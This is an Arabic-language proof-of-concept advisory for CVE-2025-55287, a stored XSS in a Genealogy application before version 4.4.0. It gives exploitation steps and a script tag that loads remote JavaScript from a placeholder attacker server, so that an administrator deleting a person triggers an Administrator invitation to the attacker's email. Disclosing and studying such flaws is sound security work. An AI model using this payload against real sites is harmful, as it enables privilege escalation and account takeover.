CVE-2025-55287-POC
تطبيق Genealogy قبل الإصدار 4.4.0 يعاني من ثغرة البرمجة النصية عبر المواقع المخزّنة (Stored Cross-Site Scripting - XSS) عند تسجيل الدخول، مما يسمح بتنفيذ جافاسكربت عشوائي ورفع الصلاحيات من دور Editor+ إلى Administrator.
الملخص
- نوع الثغرة: البرمجة النصية عبر المواقع المخزّنة (CWE-79)
- المكوّن المتأثر: الاسم الأول واسم العائلة في 'Person'.
- الإصدارات المتأثرة: جميع الإصدارات قبل 4.4.0
- الأثر: تنفيذ مستمر لجافاسكربت يوفّره المهاجم في متصفحات الضحايا؛ اختطاف الجلسة، CSRF عبر DOM، خداع الواجهة (UI redress)، سرقة بيانات الاعتماد، أو تنفيذ إجراءات تعسفية باسم الضحية.
- ناقل الهجوم: مستخدم مصادَق عليه (أي دور يمكنه إنشاء شخص جديد - Editor+)
الاستغلال
السبب الجذري: تعقيم/ترميز غير كافٍ من جانب الخادم للاسم الأول واسم العائلة للأشخاص عند نجاح حذف الشخص المتأثر بواسطة مستخدم بصلاحية أعلى.
إثبات المفهوم (PoC):
- سجّل الدخول إلى التطبيق (بدور Editor+).
- أنشئ شخصًا جديدًا (لا يلزم بالضرورة ربطه بأي عائلة).
- أدخل الجافاسكربت إما في الاسم الأول أو اسم العائلة للشخص المضاف:
<script src='yourserver/poc.js'></script>
- عدّل ملف poc.js وأدخل عنوان بريدك الإلكتروني في العنصر النائب.
- بمجرد أن يحاول مستخدم بصلاحية عالية حذف الشخص المضاف حديثًا، ستتلقى دعوة إلى المنصة على عنوان البريد الإلكتروني المقدم بصلاحية Administrator.